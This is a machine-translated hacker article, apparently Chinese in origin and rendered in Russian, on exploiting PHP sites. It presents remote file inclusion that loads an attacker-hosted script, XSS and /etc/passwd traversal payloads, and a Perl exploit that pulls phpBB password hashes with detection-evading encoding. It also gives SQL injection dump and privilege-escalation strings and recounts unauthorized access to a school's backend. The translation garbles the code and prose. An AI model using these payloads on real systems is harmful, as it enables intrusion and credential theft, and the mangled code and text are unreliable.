Судя по нынешней сетевой безопасности, уязвимость веб-страницы, которая больше всего беспокоит всех и подвергается наибольшему воздействию, должна быть ASP. В этом отношении Сяочжу является экспертом, и я не имею права голоса. Однако с точки зрения PHP здесь нет. также являются очень серьезными уязвимостями безопасности. Проблема, но статей в этой области не так уж и много. Здесь давайте кратко обсудим связанные с этим уязвимости PHP-страниц.
Я сделал обзор текущих распространенных уязвимостей PHP, которые грубо разделены на следующие категории: включая уязвимости файлов, уязвимости выполнения команд сценариев, уязвимости утечки файлов, уязвимости SQL-инъекций и т. д. Конечно, что касается некоторых распространенных технологий, таких как Подмена COOKIE, я не буду обсуждать это здесь, в Интернете много информации об этом. Итак, давайте разберем, как эксплуатировать эти уязвимости по отдельности.
Во-первых, давайте обсудим уязвимость включенного файла. Следует сказать, что эта уязвимость уникальна для PHP. Это связано с недостаточной обработкой предоставленных извне вредоносных данных, что позволяет удаленным злоумышленникам использовать эти уязвимости для выполнения произвольных команд в системе с помощью WEB-процесса. разрешений. Давайте рассмотрим пример: Предположим, в файле .php есть такой код:
<?php
include($include."/xxx.php\");
?>
В этом коде $include обычно представляет собой настроенный путь, но мы можем достичь цели атаки, создав путь самостоятельно. Например, если мы отправим: a.php?include=http://web/b. .php, эта сеть — это пространство, которое мы используем для атаки. Конечно, b.php — это код, который мы используем для атаки. Мы можем написать в b.php что-то вроде: passthru("/bin/ls /etc "). ; код. Таким образом, вы можете выполнить некоторые целенаправленные атаки (Примечание: веб-сервер не должен иметь возможности выполнять код PHP, иначе возникнут проблемы. Соответствующую информацию можно найти в разделе < < Как бороться с распространенными уязвимостями). в PHP-программах Атака >>). С точки зрения этой уязвимости существует множество проблем, например: PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart и многие другие.
Далее давайте рассмотрим уязвимость выполнения команды сценария. Это связано с отсутствием достаточной фильтрации параметров URI, передаваемых пользователями. Отправка данных, содержащих вредоносный HTML-код, может вызвать атаку с использованием межсайтового сценария и получить конфиденциальную информацию. целевой пользователь. Давайте также приведем пример: страница index.php в PHP Transparent PHP 4.3.1 или ниже не имеет достаточной фильтрации PHPSESSID. Мы можем достичь цели атаки с помощью такого кода:
http://web/index.php?PHPSESSID="><script>...</script >В скрипте мы можем создавать функции для получения некоторой конфиденциальной информации пользователей. В этом отношении относительно мало уязвимостей, за исключением Помимо PHP Transparent, есть: PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board и т. д.
Затем давайте взглянем на уязвимость раскрытия файлов. Эта уязвимость связана с отсутствием достаточной фильтрации предоставленных пользователем параметров. Удаленные злоумышленники могут использовать ее для проведения атак с обходом каталога и получения некоторой конфиденциальной информации. В качестве примера возьмем недавно обнаруженный phpMyAdmin. В phpMyAdmin страница экспорта.php не полностью фильтрует параметр «что», отправленный пользователем. Удаленный злоумышленник может обойти это, отправив данные, содержащие несколько символов «../». Преодолевайте ограничения WEB ROOT и просматривайте любую информацию о файлах в системе с разрешениями WEB. Например, ввод такого адреса: Export.php?what=../../../../../.. /etc/passwd%00 может достичь цели утечки файла. относительно Есть еще: myPHPNuke, McNews и т. д.
Наконец, мы вернулись к самому захватывающему моменту. Подумайте о том, как весело использовать SQL-инъекцию в asp-страницах. Раньше нам приходилось внедрять вручную, пока Сяочжу не понял «секретную книгу SQL-инъекций» (хе-хе), а затем. после разработки NBSI наш NB Alliance действительно изменил ситуацию. Мы последовательно помогали CSDN, Monopoly Forum, China Channel и другим крупным веб-сайтам находить лазейки (я не буду вдаваться в подробности по этому поводу, это немного не по теме. .. ). Вернемся к теме. На самом деле SQL-инъекция в asp примерно такая же, как SQL-инъекция в php. Только обратите немного внимания на используемые функции. Функция в основном осталась неизменной. На самом деле, когда все видят SQL-инъекцию в PHP, думают ли они о PHP-NUKE и PHPBB. Да, как говорится, такие форумы, как Dongwang, должны быть королем лазеек в мире ASP. Это не значит, что безопасность его форума слишком плохая, но он слишком известен. Чем больше других его используют, тем больше людей будут проводить исследования и тем больше дыр в безопасности будет обнаружено. То же самое справедливо и для PHPBB. , который сейчас очень популярен. Когда большинство людей используют PHP для создания форумов, они обычно выбирают PHPBB. Его уязвимости также постоянно появляются: от самых ранних уязвимостей, обнаруженных в версии phpBB 1.4.0, до недавней версии phpBB 2.0. .6 версии groupcp .php, а также обнаруженные ранее search.php, Profile.php, viewtopic.php и т. д. в сумме составляют около дюжины. Это всегда приводило к тому, что некоторые люди использовали его в качестве экспериментального продукта при изучении уязвимостей PHP. , как говорится, практика делает вас совершеннее, я верю, что PHPBB будет становиться все лучше и лучше в будущем.
Хорошо, давайте разберем причину уязвимости. Возьмем в качестве примера страницу viewtopic.php. При вызове viewtopic.php «topic_id» получается непосредственно из запроса GET и передается команде запроса SQL, причем без какой-либо фильтрации. , злоумышленник может отправить специальную строку SQL для получения пароля MD5. Эту информацию о пароле можно использовать для автоматического входа в систему или грубого взлома. (Я не думаю, что кто-то захочет взломать методом грубой силы, если только нет особенно важной причины. Давайте сначала посмотрим на соответствующий исходный код:
# if ( isset($HTTP_GET_VARS[POST_TOPIC_URL])) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# else if ( isset($HTTP_GET_VARS['topic'])) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
Из приведенного выше мы видим, что если отправленному view=newest и sid присвоено значение, исполняемый код запроса выглядит следующим образом (если вы не видели исходный код PHPBB, я предлагаю вам прочитать его, а затем перейти сюда Посмотрите, затронуты системы: phpBB 2.0.5 и phpBB 2.0.4).
# $sql = "select p.post_id
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE " s, " . USERS_TABLE . " u
# где s.session_id = '$session_id'
# И u.user_id = s.session_user_id
# И p.topic_id = $topic_id
# И p.post_time >= u.user_lastvisit
# СОРТИРОВАТЬ ПО p.post_time ASC
# LIMIT 1";
Рик предоставил следующий тестовый код:
use IO::Socket;
$remote = сдвиг || 'локальный хост';
$view_topic = сдвиг || '/phpBB2/viewtopic.php';
$uid = сдвиг || 2;
$порт = 80;
$dbtype = 'mysql4' # mysql4 или pgsql
print "Пытаюсь получить хеш пароля для uid $uid сервера $remote dbtype: $dbtypen";
$p = "";
for($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $порт,
Прото => "tcp",
Тип => SOCK_STREAM)
или умереть "Не удалось подключиться к $remote:$port :$@n";
$str = "GET $view_topic" "?sid=1&topic_id=-1" .random_encode(make_dbsql()) "&view=newest" " HTTP/1.0nn";
напечатайте $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n" # замените это на pgsql или удалите его;
напечатайте $socket "Хост: $remotenn";
while ($ответ = <$сокет>) {
if ($answer =~ /location:.*x23(d+)/) # Соответствует местоположению: viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
закрыть ($ сокет);
}
print "nMD5 Хэш для uid $uid равен $pn";
# случайное кодирование str помогает избежать обнаружения.
субслучайный_код {
$стр = сдвиг;
$рет = "";
for($i=0; $i<length($str); $i++) {
$c = substr($str,$i,1);
$j = длина ранда ($str) * 1000;
if (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} еще {
$рет .= $с;
}
}
вернуть $рет;
}
суб make_dbsql {
if ($dbtype eq 'mysql4') {
return " Union select ord(substring(user_password, " . $index . ",1)) from phpbb_users где user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; выберите ascii(substring(user_password from $index for 1)) как post_id из phpbb_posts p, phpbb_users u, где u.user_id=$uid или false";
} еще {
возвращаться "";
}
}
Я не буду подробно объяснять этот сломанный код. Функция предназначена для получения значения HASH.
Увидев это, у вас могут возникнуть вопросы о том, почему модифицированные функции, о которых я упоминал ранее, не используются. Я не боюсь рассмешить людей, когда скажу им: на самом деле, будут выглядеть операторы запросов некоторых страниц многих сайтов в Интернете. так:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Не смейтесь, это правда. Я использовал это для доступа к нескольким крупным веб-сайтам. Трудно сказать, к каким именно, но для веб-сайта нашей школы я использовал это для доступа к серверной части (надеюсь, школьный сетевой центр сможет это сделать). не вижу) Эта статья, ^_^). В противном случае вам придется менять чужие пароли!!!
Я почти забыл, что PHP отличается от ASP, когда дело касается внедрения SQL. MySQL не так гибок, как MSSQL, в использовании операторов SQL. Поэтому многие операторы запросов, которые можно использовать в MSSQL, обычно не работают в базе данных MySQL. Обычные операторы внедрения выглядят следующим образом: aaa.php?id=a' в выходной файл 'pass.txt или aaa.php?id=a' в выходной файл 'pass.txt' /*В дальнейшем его можно изменить на: aaa.php? id=a' или 1=1 объединение выбирает идентификатор, имя и пароль пользователей в выходной файл 'c:/a.txt. Таким образом, вы можете экспортировать данные базы данных в файл, а затем просмотреть их.
Или вот так: mode=',user_level='4
Этот оператор обычно используется при изменении данных. Если на странице есть уязвимость, это может привести к повышению разрешений.
Другие, такие как 'OR 1=1 -- или: 1' или 1='1, аналогичны asp. Я не буду здесь вдаваться в подробности. В PHP SQL-инъекция кажется уязвимостью номер один. Их слишком много. страницы. В этом проблема.
На самом деле, как видите, причина приведенной выше классификации только одна: представленные параметры не фильтруются или фильтрация недостаточно строгая. Линии защиты хакеров всегда были как наступательными, так и оборонительными. Здесь давайте поговорим о предотвращении.
всего
, лично я считаю, что это самое важное. Самое важное — установить для Magic_quotes_gpc значение ON. Его функция — конвертировать одинарные, двойные кавычки, обратную косую черту и нулевые символы в символы, содержащие обратную косую черту, например. select * from admin, где username='$username' и пароль ='$password', злоумышленник хочет использовать 1' или 1='1, чтобы пропустить проверку, но эти строки будут преобразованы в это: select * from admin где username='a' и пароль='1' или 1='1' для предотвращения внедрения. Фактически, операция addslashes() выполняется автоматически. Если она не работает, определите свою собственную функцию. чтобы справиться с этим Теперь кажется, что те, кто занимается внедрением PHP, также находятся в относительной депрессии, поскольку версии ниже myslq4 не поддерживают подвыражения, а в новых версиях mysql по умолчанию опция Magic_quotes_gpc включена.
Способ устранения уязвимости включаемого файла состоит в том, чтобы попросить программистов стараться не использовать переменные для параметров во включаемых файлах. Если переменные используются, имена включаемых файлов должны быть строго проверены и не должны указываться пользователем произвольно. рекомендуется отключить global_variables. Например, ограничение пути операции PHP при предыдущем открытии файла является необходимой опцией. Кроме того, если не требуется иное, обязательно отключите функцию удаленного открытия файлов PHP. Измените файл php.ini:allow_url_fopen = Off (Примечание: см. <<Проблемы безопасности PHP: удаленное переполнение, DoS, уязвимости обхода Safe_mode>>).